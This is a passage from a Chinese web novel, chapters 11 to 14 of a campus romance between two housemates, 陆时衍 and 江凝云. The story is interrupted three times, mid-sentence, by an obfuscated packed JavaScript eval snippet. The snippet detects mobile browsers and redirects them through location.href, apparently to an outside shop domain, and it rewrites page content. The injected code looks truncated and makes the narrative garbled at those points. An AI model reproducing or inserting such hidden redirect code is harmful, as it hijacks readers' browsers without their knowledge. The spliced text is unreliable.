累了,困了,或者单纯就是想靠着陆时衍的时候。 然而,就在他完全倚靠上去的刹那,他清晰地感觉到,陆时衍扶着他的手臂,异常明显地僵了一下。 11. 第 11 章 “怎么了?”江凝云疑惑地稍稍站直了些,仰脸看向陆时衍。 黄昏最后一抹瑰丽的余晖正好透过侧面的玻璃窗投射进来,不偏不倚地落在江凝云仰起的脸上。 那张脸在暖金色的光晕里显得格外白净精致,睫毛被染上细碎的金粉,琥珀色的瞳孔清澈透亮,里面清晰地映着陆时衍有些紧绷的倒影。 陆时衍的喉结上下滚动了下,嗓子有些发紧:“没事。” 说完,他站直了身子,好像要找什么东西一样,在电梯里走了一圈儿。 然后又回到江凝云身边。 搞什么? 也许是因为被江凝云略带疑惑的目光注视着,陆时衍的表情有些尴尬,不过这份尴尬并没有持续太久,三秒后恢复正常。 “腿酸了,我活动一下,走走。” “哦...” 刚剧烈运动之后的几天确实容易肌肉酸疼,江凝云没往深处想,眨了眨眼睛,语气关心。 “要不要帮你揉揉,我学过推拿...” “不用!” 陆时衍飞快地打断了。 这次脸上甚至漫上几分可疑的红晕。 搞什么嘛! 江凝云心中无语更甚。 他突然灵光一闪,像只猫似的来到陆时衍身边。 “我知道了。” “某人自从运动会结束后,因为跑步姿势太帅抖音上小火一把,已经成了万千少男少女心目中的男神,自然不会把我放在眼里了。” 他一面讲,一面笑着怼了怼陆时衍的腹肌。 “你没看评论区吗,好多人叫唤着要看你的腹肌呢。” 陆时衍虽然是医学生,但是他劲儿大,身材好,整齐的六块腹肌,特别漂亮。 陆时衍突然抓住他的手。 “小凝...” 男生的声音带着几分深深的无奈和宠溺,还有几分江凝云读不懂的... 欲望? - 反正陆时衍没有骗他,捕风捉影的“陆时衍绯闻对象”事件结束后,江凝云就不准备在他身上花太多时间了。 真是的,过去的几天自己跟疯了一样,天天去想陆时衍的感情问题。 现在想想,还真够无聊的。 江凝云把手指从陆时衍的手中挣脱。 “不让看就不让看呗,真小气,我才不稀罕!” 真是给他脸了。 江凝云不理他,出了电梯径直走入房门。 - “我要去洗个澡。” “卫生间现在是我的,不准进来。” 说完,砰得一声关上门。 陆时衍没说话,而是在原地站了一会儿。 或者说,好一会儿。 江凝云洗得很快,水声刚停不久就换上了干净的家居服。 “呼噜——”江凝云洗完澡后神清气爽,趿拉着拖鞋,在客厅和画室慢慢转悠,寻找不知道躲到哪个角落的小猫。 “陆时衍,呼噜在你房间里吗,我进去了?”虽然同住一个屋檐下,但他们之间一直有种默契的边界感,不会随意进入对方的私人空间。 陆时衍此时正在厨房煮面,闻言头也没回,应了声可以。 江凝云走进卧室把灯打开,陆时衍的房间整洁得近乎刻板,东西摆放得井井有条,色调是干净的灰白。 他目光扫了一圈,很快发现呼噜正团在书桌前的椅子上,把自己缩成一个毛茸茸的球。 江凝云笑了一下,走过去,弯腰想把猫抱起来。就在直起身的瞬间,眼角的余光瞥见了书桌旁边的角落。 一个棕色的、质感极佳的画箱静静地立在那里,箱盖上印着他熟悉的烫金logo。 学美术的没人不认得这个牌子。 江凝云抱着呼噜,眨了眨眼睛,脚步顿在原地。 他慢慢靠近两步,没有伸手去碰,只是微微弯下腰,仔细看了好几秒。 他没看错,还真是那套限量版画具! 他记得自己当初在专业杂志上看到时,还兴奋地跟陆时衍提过,说设计太惊艳了,一定要抢一套。 后来不知道是因为忙着期中作业,还是发售时间太难蹲,这件事竟然就这样被他忘了。 陆时衍房间怎么会有这个?他怎么买到的? 巨大的惊喜和好奇瞬间淹没了江凝云。 他抱着呼噜,几乎是兴冲冲地转身就往厨房走,膝盖的伤让他步伐有点不稳,但此刻的兴奋让他完全顾不上那点细微的刺痛。 “陆时衍!” 陆时衍刚把切好的西红柿放进锅里,闻声眉心一跳,立刻关小火转身,下意识地扶住他: “慢点。” “怎么又跑这么快,膝盖不疼了?” 江凝云没理他。 “我在你房间看到了一套画具,还是限量版,你怎么买到的啊我也好想买一套!” 说完,他才后知后觉地注意到,陆时衍的表情好像有点僵硬。 “其实...” 陆时衍鼓起勇气,努力微笑一下。 小锅里的面扑腾扑腾的烧开着,水反复沸腾又停下来,也不知道面会不会煮烂,可是陆时衍现在已经没心情想这些了。 “其实,那是我准备送给你的礼物,没想到被你发现了,现在惊喜没了。” “江小凝,这可是你自己搞得,不准怪我。” “送给我的?”江凝云惊喜道。 “看不出嘛,我以为你这种大学霸只会关心仪器什么型号,没想到对美术还挺有研究,行了,孺子可教也,我很喜欢你的这份礼物!” 说完,江凝云给了他一个大大的、作为感谢的拥抱。 那一瞬,陆时衍却分明听到自己的心跳声。 笑容还僵在脸上。 其实他一整个下午,不,或者说,从医务室回来之后,他就一直、一直陷入奇怪的、慌乱的、纠结的情绪当中去。 小凝是不是发现自己喜欢他了? ——这个担忧陆时衍从今天傍晚等电梯的时候就出现了。 从比赛结束听到消息后大脑一片空白地狂奔,到医务室里亲眼看见江凝云苍白着脸,手肘膝盖都裹着刺眼纱布坐在那里的瞬间,那种心脏被狠狠攥紧的窒息感,盖过了一切。 可是他克制住了。 但那种悬着心的担忧,持续了整个下午。 原本他对江凝云的感情可以藏得很好。 可是下午在医务室的时候,徐洺恩那句说漏嘴的话—— “既然江凝云都在这里了,那你其实不去也没关系……” 非常有指向性的话。 想到这,陆时衍的心跳毫无征兆地漏了一拍。 小凝会听出异样吗? 陆时衍已经很久没有因为什么事情感到慌张过了。 因为从小到大,无论是学业、实验,还是生活中其他事,陆时衍向来习惯预设多种可能。 即便遇到突发状况,他也能在最短时间内冷静分析,让一切重新回到他能够掌控的程度。 只有江凝云是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318927|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的意料之外。 所以,今天的几次不自然的接触,江凝云靠过来时他下意识地弹开,江凝云戳他腹肌时...他攥住江凝云的手指让他停下,还有此时,江凝云好像毫无顾忌地,给他的这个大大的拥抱... 都不免让他陷入一阵不正常的沉思。 我们的举动,是不是过分暧昧了? 如果反应得太过,小凝,会不会看出来我喜欢他? 可是小凝说过,不想在现在谈恋爱。 而他,还没有把自己所有的好,一件一件的,全部送给小凝。 陆时衍在心底深吸了一口气,强迫自己迅速镇定下来。 他在江凝云的怀抱中缓了缓神,看着那张耀眼夺目的、快乐的、无忧无虑的脸。 “你喜欢,那就好。” 江凝云得了心仪的礼物,心情大好,一直靠在他的身边。 陆时衍被他凑近的气息和毫不掩饰的快乐弄得心跳久久无法平复。 偏偏江凝云还不肯走,一人一猫,两双同样亮晶晶的眼睛都盯着他,无声地散发着纯粹的喜悦和期待。 不行,要自然。 陆时衍深呼吸。 “好了,别在这干等着了,”他伸手,很轻地搭在江凝云肩上,用了点力道将人往厨房外带,“先去外面坐着吧,面马上就好。” 江凝云任由他把自己扶到餐厅的椅子上坐下,怀里还抱着暖洋洋的呼噜,嘴里却还在开心地念叨:“陆时衍你怎么这么会买。” 晚餐时,江凝云显然还沉浸在意外获得心头好的巨大喜悦里,话比平时都多。 只是陆时衍心底那点心虚并未完全消散,反而在江凝云全然信赖下变得更加心虚。 他只能更谨慎地维持着表面的平静,生怕泄露分毫。 - 饭后,江凝云试图帮忙收拾碗筷,立刻被陆时衍以“膝盖需要休息”为由按回了客厅沙发。 “吃点水果。”陆时衍将洗净切好的果盘放在他面前的茶几上。 江凝云拗不过他,也乐得清闲,抱着靠枕窝进沙发里,一边漫不经心地找想看的电影,一边戳着水果吃。 等陆时衍将厨房彻底收拾干净,擦干手走出来时,客厅只留了一盏落地灯散发着暖黄的光晕。电视屏幕还在播着色彩鲜艳的动画,遥控器掉在地毯上。 而江凝云,不知何时已经歪倒在沙发靠枕里,沉沉睡着了。 呼噜也用一种舒服的姿势窝在沙发边上。 果盘里的水果只动了几块。 江凝云睡颜安然,长睫毛在眼下投出浅浅的扇形阴影,嘴唇微微抿着,呼吸轻缓。 他的一条腿曲着,受伤的膝盖下垫了个软枕,睡梦中无意识维护的姿态,显出几分孩子气的乖巧。 陆时衍没忍住勾了勾唇角。 好聪明的小凝。很会照顾自己。 他在原地驻足片刻,才放轻脚步走过去。 陆时衍先捡起地上的遥控器放到一边,然后俯身,一只手臂小心地穿过江凝云的膝弯,特地避开了伤处,另一只手臂托住他的后背和肩颈,将人稳稳地抱了起来。 他承认,他存了私心。 他就是不想叫醒江凝云。 陆时衍自嘲地笑笑。 看着他沉静的睡颜,陆时衍突然很想,很想在他的脸上落下一吻。 不行。 现在还不是最好的时机,现在亲吻,会吓到小凝。 就是不知道这样压抑喜欢的日子。 自己还能忍耐多久。 12. 第 12 章 江凝云似乎感受到移动,无意识地在陆时衍怀里蹭了蹭,寻找到一个更舒适的姿势,脑袋偏向他胸口,温热的呼吸隔着薄薄的家居服面料,熨帖在皮肤上。 陆时衍的身体几不可察地僵了一瞬。 他屏住呼吸,在原地停顿了两秒,才迈开步子走向江凝云的卧室。 这段路安静而漫长。 陆时衍突然有一瞬后悔。 怀中人的重量,透过衣物传来的体温,萦绕在鼻尖独属于江凝云的气息,无一不在挑战他紧绷的神经。 但他又贪恋江凝云的依赖。 即使是无意识的。 江凝云的房门虚掩着,陆时衍用肩背轻轻顶开门,小心翼翼地把江凝云轻轻安置在柔软的被褥间,仔细盖好被子。 卧室里只开了一盏昏黄的床头灯,除此之外只有走廊的光晕和窗外淡淡的月色渗入。 做完这一切,陆时衍没有立刻离开。 他站在床边,目光沉甸甸地落在江凝云的脸上。 月光朦胧地勾勒出江凝云柔和的轮廓,照亮他光洁的额头,挺翘的鼻尖,和那双色泽浅淡的唇。 饱满的嘴唇在睡梦中显得异常柔软。 不知道梦到了什么,江凝云的唇瓣轻轻抿了一下,挤压到那颗圆润的唇珠,泛着一点湿润的光泽。 一种几乎要冲破所有理智防线的渴望,瞬间席卷了陆时衍。 黑暗中,他的手臂缓缓抬起,指尖不受控制地微微颤抖,向着那张白净漂亮的脸靠近。 最终,在指尖即将触碰到肌肤的前一刻,陆时衍的手终归还是硬生生停在半空。 没做别的,只是极其轻柔地拨开了江凝云额前一缕被蹭得微乱的发丝。 动作轻得如同羽毛拂过,带着无限克制与珍惜,一触即离。 一直到呼噜迈着无声的小步从门口钻进来,绕着他的脚踝“喵呜”一声,陆时衍才如梦初醒,弯腰抱起小猫,强迫自己离开这里。 - 估计是前一天吃完晚饭就睡了的缘故,江凝云第二天起了个大早。 他揉着眼睛,顶着一头睡得乱翘的头发打开房门时,正好撞见陆时衍晨跑回来。 陆时衍穿着简单的灰色运动服,额发微湿,他刚用钥匙打开门,抬眼就看见了穿着宽松睡衣的江凝云,睡眼惺忪地站在卧室门口。 “你晨跑回来啦?”江凝云的声音带着刚醒的软糯鼻音,含糊地问。 陆时衍握着钥匙的手几不可察地紧了紧。 昨夜冷水淋浴带来的清醒,先前晨跑时刻意加大的运动量,在这一刻好像又全都失效了。 怀抱的重量,颈边的呼吸,还有指尖几乎要触碰到的柔软…… 所有被陆时衍强行压下的情绪,随着江凝云毫无防备的出现,轰然恢复,胸口被心脏撞得发麻。 他看着江凝云,一时竟忘了回应。 江凝云看到陆时衍愣了一下,歪了歪头问他:“你怎么傻掉了?” 然后开始阐述他的歪理:“都说了早上不要那么早起床了,反应变慢了吧。” 陆时衍被他逗笑了,问他:“腿还疼不疼?” “当然了,”江凝云抬起一条腿,用手指隔着睡裤点了点伤处,“你看还没好全呢。” 他顿了顿,仰起脸,眼睛亮晶晶地看着陆时衍,语气里带着点理所当然的请求:“我想……” “我一会送你。”陆时衍几乎在他话音落下的瞬间就接上了话。 江凝云满意地笑了:“我正要问这个,陆时衍你也太贴心了吧!” 他心情极好地转身回房洗漱换衣服,留下陆时衍站在玄关。 江凝云今天穿了件浅绿色的针织开衫,衬得他肤色愈发白皙,同色系的贝雷帽斜斜戴在头上,压住了那些不听话的卷发,露出一双清亮动人的眼睛。 他手上爱惜地提着陆时衍昨天送的画具,和早上刚睡醒时头发乱翘的模样判若两人,漂亮得像是从时尚画报里走出来的模特。 陆时衍也换好了衣服,手里拿着用纸袋装好的三明治和牛奶,站在门口等他。 他知道江凝云喜欢第一节课下课的时候再吃饭,所以陆时衍通常会在晨跑完顺便帮他带早饭回来。 江凝云显然对自己的穿搭很满意,在玄关的镜子前微微侧身看了看,唇角翘起。 结果就听到陆时衍在旁边问:“穿这样会不会冷?” 江凝云立刻从自我欣赏中抽离,这个陆时衍竟敢小看他。 江凝云没好气地瞥他一眼,下巴微扬:“我才不会冷。” - 清晨的风带着凉意,江凝云坐在陆时衍电动车后面忍不住打了个小小的哈欠,眼角沁出一点生理性的泪水。 他一边犯困,一边小声嘀咕着过段时间系里安排的实践活动:“……要去闻村,其实参加这种志愿活动我还是挺乐意的,就是得坐院里统一安排的大巴去,肯定又要晕车,烦死了。” “闻村?”陆时衍声音混在风里传来。 “嗯,要去一整天呢。”江凝云的声音被风吹得有些模糊。 车子平稳地行驶在非机动车道上。就在一个转弯处,斜刺里突然窜出一个拼命蹬自行车踏板的中学生,大概是快迟到了,骑得又快又急,眼看就要撞上! “小心!”陆时衍瞳孔一缩,猛地捏紧刹车! 电动车剧烈一顿! “啊!”江凝云猝不及防,一只手还紧紧护着画具箱,另一只手出于本能,猛地向前环抱,死死搂住了陆时衍的腰。 由于惯性,他整个人结结实实地撞在了陆时衍坚实温热的背脊上。 脸颊贴上他布料柔软的风衣外套,鼻尖甚至能嗅到对方身上干净的洗衣液味。 “唔……”江凝云被撞得闷哼一声,帽子都被震歪了,堪堪挂在头上。 他惊魂未定,也没管帽子,急忙抬脸去看什么情况。 只见那个中学生慌慌张张地停在路边,脸都吓白了,不停地鞠躬道歉:“对不起对不起!我赶时间没看路!真的对不起!” 江凝云这才反应过来自己刚才做了什么。 他贴得太近了。 他的手臂还环在陆时衍腰上,掌心甚至能清晰感觉到对方腰腹肌肉瞬间绷紧的硬实触感。 而他的前胸,正严丝合缝地紧贴着陆时衍的后背。 距离太近了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318928|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能清晰地感觉到陆时衍的胸口在快速地起伏着,气息非常不稳。 江凝云第一反应是陆时衍被吓到了。 一股无名火“噌”地窜了上来。 他松开环抱的手,扶正自己的贝雷帽,漂亮的眉毛蹙起,冷着脸对着那个中学生说:“赶时间不会早点出门吗?在校园里横穿马路还骑这么快!出了事怎么办?” 他的声音清泠泠的,带着怒意,再加上冷下来的眉眼,让那中学生更加惶恐。 “下次不能这样了!” 中学生连声道歉后飞快地骑走了。 “真是……”江凝云没好气地冷嗤一声。 人都走了,可陆时衍还停在路边,一动不动,没有重新发动车子。 “陆时衍?”江凝云有些担心,以为他真的被吓得不轻,伸手拍了拍他的肩膀,“你没事吧?陆时衍?” 没有反应。 江凝云今天这一身浅绿在秋日略显萧瑟的背景里格外清新明媚,加上他出众的容貌,两人停在路边,本就惹人注目。 此刻这诡异的静默,更是引得几个路过的学生频频侧目。 江凝云顾不上那些目光,心里着急,试图去看后视镜,但角度不对,看不清陆时衍的表情。 “陆时衍!你说话呀!”他有点急了,声音不自觉地抬高,甚至动了动腿,想从车上下来,“让我看看你!” 陆时衍这才转过头来。 江凝云猝不及防地对上了一双漆黑深邃的眼睛。 更让他惊讶的是,陆时衍的脸颊……竟然泛着明显的红晕,连带着耳廓和脖颈都染上了一层薄红。 “你……”江凝云愣住,眨了眨眼,随即松了一口气,没事就好。 江凝云压低声音问他:“你是不是被吓到啦?” 陆时衍的喉结剧烈地滚动了一下,目光落在江凝云近在咫尺的脸上,那润泽的唇瓣开合间,温热的气息几乎拂到他鼻尖。 陆时衍的声音听起来有些干涩紧绷:“……有点。” 江凝云皱了皱眉,“那个高中生也真是的,这么不小心。” 可能是看陆时衍平日里总是对所有事都游刃有余的,很难得有这种失态的时刻,江凝云此时竟奇异地生出了一点保护欲和责任感。 他安抚似的拍了拍陆时衍的肩膀:“还好没什么事。” 说完还试图活跃一下气氛,一只手放在陆时衍脸上按了按:“你看你冻得脸都红……” 话还没说完陆时衍就反应明显地躲了一下。 江凝云的手顿时僵在半空。 他愣了一下,有些不解地看着陆时衍突然扭过去的侧脸,没多想,凑过去问:“是不是我手太冰了?你还说我穿得少,你自己也要记得多穿点呀。” 陆时衍定了定神,也觉得自己刚刚反应有些大了,努力恢复平静,笑了一下:“……没关系我不冷。” 他怎么可能冷? 剧烈的心跳久久无法平复。 不是因为被吓到。 刚才那一刻,江凝云的手臂紧紧环住他的腰,温热柔软的身体毫无缝隙地贴紧他后背的瞬间,陆时衍只觉得自己浑身的血液都冲上了头顶。 13. 第 13 章 陆时衍一时半会还没缓过神来。 身后仿佛还存在着那抹柔软和温热——江凝云贴上来时毫无保留,手臂环过他腰间,脸颊轻轻蹭在他背上,让陆时衍不由得想到家里那只和江凝云很像的小猫。 再加上江凝云最近爱用山茶味的沐浴露,他感觉鼻尖到现在依旧萦绕着微甜的气息。 很磨人。 陆时衍不动声色地深吸了一口气,试图平复躁动的心绪。 不是秋天了吗,为什么还是这么热。 陆时衍蹙了蹙眉,忍不住在心里懊悔,他刚刚为什么要躲开江凝云的触碰。 能争气点吗? 应该再贴久一点的。 江凝云的手很漂亮,白皙纤细。摸上来时冰凉凉的,虽然不仅没起到降温的作用,反而让陆时衍觉得更热了。 要他说,这一切都和徐洺恩脱不开关系。 要不是徐洺恩说漏嘴了,他也不至于这样担心要是过分暧昧的话,他的喜欢会不会被小凝看出来。 耳边传来江凝云带着些担忧的询问:“好点了吗?” 陆时衍定了定神,抬手按了按眉心,试图驱散那些不合时宜的想象。 他转过身,看到江凝云微微歪着头,眨着眼睛,估计是因为有点担心,那双桃花眼都撑圆了些。 陆时衍心头一软,唇角不自觉地勾起:“好点了。” 说完看到江凝云头顶浅绿色的贝雷帽歪了,“帽子歪了。”他下意识伸手去扶正。 “是哦,我都忘记了。” 江凝云这才后知后觉地想起来,刚才急刹时贴到陆时衍背上,帽子就歪了。只是那时顾着担心,没空去管。 刚刚给陆时衍一提醒他才想起来。 他乖乖坐着不动,低下头方便陆时衍整理。 纤长的眼睫随着动作垂下,在脸颊上投下一片细密的阴影。 陆时衍的手指在帽檐上顿了顿。 这个角度刚好能清楚地看见江凝云白皙的后颈,和几缕散乱的碎发。 他喉结微动,迅速收回手,神色在江凝云抬眼前恢复了平静。 “那我们快点继续走吧,”整理完后,江凝云满意地对着后视镜看了眼,重新坐好,拍了拍陆时衍的肩膀小声催促道,“艺术学院离你们医学院还有一段距离呢,你别因为送我而迟到了。” “好。”陆时衍应了一声,声音有些发僵。 说完又缓和语气补了一句:“不会迟到。” - 到了艺术学院的教学楼楼下,陆时衍停好车,下意识就想下车扶人。 “诶,你别下来了!”江凝云连忙拦住他,自己抱着画具箱,动作不太利索地下了车,对陆时衍说:“你快去上课吧,我自己能行。” 他知道陆时衍的那些老师都特别严格,但凡迟到一秒钟都要扣考勤分。 正说着,林寓和另外几个美术系的同学也到了楼下,看到江凝云后立刻围了上来。 “凝云!你的腿怎么样啦?” “看着好多了,昨天可吓死我们了!” “来,东西重不重?我来帮你拿吧!” 几个人七嘴八舌地关心着,争着要扶他上楼,帮他拿东西。 “没事没事,我自己可以。”江凝云笑着摆摆手,拒绝了搀扶,画箱也不想让别人帮忙提。 一个眼尖的同学突然看清了那个画具箱,顿时惊呼出声:“卧槽!凝云你买到限量版了?!” “这可是有钱也买不到的!我之前托人问了三个月都没货!” 这一声把周围几个人的注意力都吸引了过来。 大家都是学美术的,自然认得那个logo,看清后,眼神里瞬间充满了羡慕和好奇。 江凝云被众人围着,闻言没有立刻回答那些七嘴八舌的追问,而是目光轻巧地越过簇拥的人影,漂亮的眉毛微微一挑,唇角翘起一个带着点小得意的弧度: “朋友送的。” 江凝云说这话时,含笑的桃花眼直直地望着陆时衍的眼睛。 眼里亮晶晶的,像藏着星星。 陆时衍呼吸一滞。 对视的瞬间,周遭的一切都仿佛如潮水般褪去。 同学们的喧哗、清晨的风声、远处隐约的上课铃声,全都消失了。 世界里只剩下江凝云望着他的那双眼睛,和那句语气轻飘飘,可在陆时衍心里的份量却重若千钧的“朋友送的”。 陆时衍只剩下一个念头。 ——他好想吻江凝云。 想吻他微微上翘的唇角,想吻他含笑的眼尾,想把他按在怀里,让那双漂亮的眼睛里只映出自己一个人。 他快忍不住了。 陆时衍被自己疯狂的念头吓了一跳,立刻移开目光,暗自握紧了车把,指节因用力而微微发白。 他需要做点什么来转移注意力。快去上课吧,做实验,写论文,什么都行。 “我先走了。”陆时衍匆匆丢下这句话,甚至没敢再看江凝云一眼,便调转车头离开了。 江凝云愣了愣。 ……跑这么快? 江凝云望着陆时衍离去的背影。 他还没来得及说路上小心呢。 “凝云?凝云!”同学的呼唤把他拉回现实,“你这朋友也太好了吧!哪里认识的?还缺朋友吗?” 江凝云收回视线,抱着画具箱转身往楼里走,唇角还翘着:“不告诉你。” 一旁的林寓把这一切都看在眼里,见状挑了挑眉。 还能有谁? 江凝云那个竹马呗! 他竟然会误会他们吵架,看来真的是他想太多。林寓无奈地摇摇头笑了,三两步走到江凝云身边,不顾对方意愿,硬是要扶他上楼。 陆时衍骑出好一段距离才敢回过头。 江凝云已经被众人簇拥着上了楼,身影消失在楼梯转角处。 他停在原地,看着那个方向很久,直到完全看不到任何身影,才深吸一口气,转身朝医学院的方向骑去。 - 下午四点多就下课了,画室里的同学陆续离开。江凝云没急着走,陆时衍白天又是满课,得到六点才能来接他。 他打算干脆一边把剩下一部分画完,一边等人。 快六点的时候画室只剩下他一个人了,静悄悄的,听到门被推开的声音,江凝云放下画笔,眉眼舒展地转过身去:“你怎么才——” 话说到一半,笑容凝在嘴角。 居然不是陆时衍。 话剧社社长站在门口,手里还拎着杯奶茶,笑容满面:“凝云,真巧,你还在啊。” 江凝云的嘴角慢慢放平,重新笑了下,“社长,是你啊。” 社长不禁失笑道:“怎么?看到我很失望?” 江凝云也意识到自己情绪外露地太过明显,很淡地笑了下:“没,你怎么来啦?” “我正好路过,想着碰碰运气看你在不在,没想到真遇上了。”社长拉了把椅子,在江凝云旁边坐下,“腿好点了吗?” “好多了。” “那就好。”社长身体微微前倾,语气热络起来,“下周社团排练,你来吗?我们专门给你留了个角色,特别出彩。” 江凝云手上的调色刀顿了顿。他看到群里的消息了,只是还没来得及回。 “我还在考虑。”他说。 “这有什么好考虑的?”社长看着江凝云的眼睛,声音压低,是压抑不住的兴奋,“凝云,我们上次演出的反响多好你知道吗?台下好多观众都是冲着你来的!这次这个角色特别适合你,你长得这么好看,肯定又能引爆全场。” 秀气的眉头几不可察地蹙了一下。 又是这种话。 江凝云心里泛起一丝不快,挑眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318929|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向对方,笑了下,只不过笑意未达眼底:“真的?” 社长被他的笑晃得怔了一下。 面前的青年笑得很浅,琥珀色的瞳孔清澈透亮,睫毛浓密,衬得眼睛更漂亮了。 社长飞速眨了无数下眼睛,清醒片刻,以为江凝云觉得自己说得太夸张,又强调了一遍:“真…真的!你别小看自己的魅力!” 江凝云无奈地抿了抿唇,他当然清楚,只是不爱听这些。 懒得接话,也懒得解释。 社长似乎没察觉他的不悦,看了看江凝云面前散乱的画具,又热情地说:“你腿不方便,我帮你一起收拾吧?” “谢谢,我自己来就可以了。” 在整理画具这件事上,江凝云有点强迫症,有自己的习惯,让别人收反而麻烦。 他说着,已经开始按颜色深浅把颜料管一支支排列整齐。这是他的习惯,每样东西都有固定位置,乱了会不舒服。 社长这才发觉江凝云好像有点不高兴,但江凝云不让他帮忙,他也不敢动。 就在气氛微妙时,画室门又被推开了。 江凝云抬起头,陆时衍可算来了。 陆时衍站在门口,书包单肩挎着,呼吸因快步赶来而略显仓促。 看到陆时衍,江凝云的心情几乎是瞬间就明朗起来了。 “你来啦!”他眼睛一亮,声音变得轻快。 “嗯,在收拾?”陆时衍步履平稳地走进画室,他认得这个人,话剧社社长。 陆时衍冲他点了下头,算是打过招呼。 在经过社长旁边时,他状似无意地调整了一下书包肩带,动作幅度刚好隔开了那人和江凝云之间在他看来过近的距离。 他今天一整天脑子里都是江凝云,甚至感觉课件上的字都变成了江凝云的名字。 好不容易等到下课,陆时衍用最快的速度过来,结果一推门却看到有人在江凝云耳边跟苍蝇似的说个不停。 没看见小凝烦了吗? 陆时衍把书包放在一旁,很自然地接过江凝云手中的颜料:“我来。” “对啊,快好了。”江凝云毫不客气把手中所有的东西都塞给陆时衍,然后坐在一旁,看陆时衍把调色刀按大小排列,画笔依据型号收好。 先前那点因为那些话而起的不悦,在陆时衍有条不紊的动作中渐渐消散了。 社长站在两步开外,看着这两人无声的默契,一时插不上话。他之前就听说江凝云有个关系特别好的朋友,两个人还挺亲密的。 要不是这次真正见到他还不信,那个对所有人都客客气气、保持一定距离感的江凝云,居然会对一个人这么……纵容? 前面不还说有强迫症吗?这会怎么又允许别人动他东西了? 收拾完,江凝云还自然地把头往那人面前伸,让人给自己取身上的围裙,然后扶着陆时衍的小臂,借力站起来。 社长瞧着这区别对待实在不是滋味,走之前清了清嗓子,故意说得像是两个人的秘密:“那凝云,你想好了记得告诉我,等你的答复。” 江凝云点了下头:“好。” 陆时衍不知道他们在说什么,一只手提起画箱,另一只手在江凝云看不见的地方,很自然地虚扶在他的腰后。 那是一个不容置疑的保护姿态。 “哎!”见江凝云没拿自己带来的奶茶,社长喊了一声,拿来递上去,“这个送给你,我顺便带的。” 说完估计是怕江凝云拒绝,他递完迅速道了再见就跑了。 “……可是,”江凝云被陆时衍扶着,皱了皱鼻子,抗拒道:“我今天不想喝。” 他昨天才喝过陆时衍榨的果汁,不想摄入太多糖。 说完江凝云微微仰头看了看陆时衍:“你喝吗?要不然你喝吧?” 陆时衍垂眸看了一眼,面无表情地说:“我不爱喝奶茶。” 14. 第 14 章 也对,陆时衍不爱喝这些。 真麻烦,江凝云也懒得想那么多,干脆道:“那扔掉好了。” “可以。”陆时衍露出一个笑,显然很满意这个做法。 深秋的晚风带着凉意,陆时衍骑着车,安安稳稳地开在里侧。 他正琢磨着如何询问刚才发生的事,才能不露痕迹,江凝云自己就开口了。 “刚刚社长喊我下周一起过去排练,你都没听到他那个话,”江凝云的声音从身后传来,带着点闷闷的不快,“说得好像那些观众都是冲着我脸来看话剧的一样。” “他估计也看出我脸色不太好了,他也不想想,这话给人听着能高兴吗?” 原来是这事。 陆时衍放轻了声音问:“那小凝想去吗?” 江凝云顿了顿:“我想想吧。” 陆时衍知道他想去。 江凝云上大学以来,除了画画,那些学生会之类的组织还有其他社团完全不感兴趣,唯独对演话剧投入了真情实感。 他见过江凝云为了一个眼神反复对镜练习的样子,也见过江凝云写满笔记的剧本。 “去吧?”陆时衍顺水推舟道,“我还没现场看过小凝的演出呢。” 给他一提醒,江凝云也想起来了,语调微微扬起:“你还说呢!” 陆时衍失笑,诚恳地保证:“这次我一定到场。”上次没看到小凝的现场演出他一直觉得很可惜。 “我当然要去了,”江凝云轻哼一声,“为什么要在意别人的想法呢?” “对啊,为什么要在意别人的想法呢?”陆时衍笑着重复江凝云的话,转动车把,他知道江凝云想做的事没人能拦着他。 小凝就是这样一个人,想做什么,就会不顾一切不计后果地去做、去尝试。 这个世界对江凝云来说,就像是一个巨大的游乐场。 就连决定走艺术生这条路也是,陆时衍永远都会记得,高二那年江凝云突然说要参加艺考,当时江凝云仰着脸问他:“你相信我能做到吗?” 陆时衍说相信。 后来江凝云就一个人到首都上了半年多的考前集训班。 这样勇敢、执着、满怀热爱的江凝云,那些人凭什么只看见他的外表,却看不到他背后的努力? 想着想着,陆时衍不小心就把心里的话说出来了:“我和他们不一样。” 他是真心觉得江凝云特别好。 “什么不一样?”江凝云说着说着发现把脸贴在陆时衍背上会很舒服——后背宽厚温热,还能挡住迎面而来的凉风。 他一时分心,没听清陆时衍说什么。 但却察觉到陆时衍一下子坐得笔直,背部紧绷。 怎么了? 江凝云疑惑地直起身,眨了眨眼睛,“你为什么突然坐这么直呀?” 他听到陆时衍的声音罕见地有些磕巴:“红灯了。” 江凝云“哦”了一声,又重新贴了回去,还被陆时衍惹得莫名地笑了两声,又不是第一次见到红灯,为什么要这么大反应。 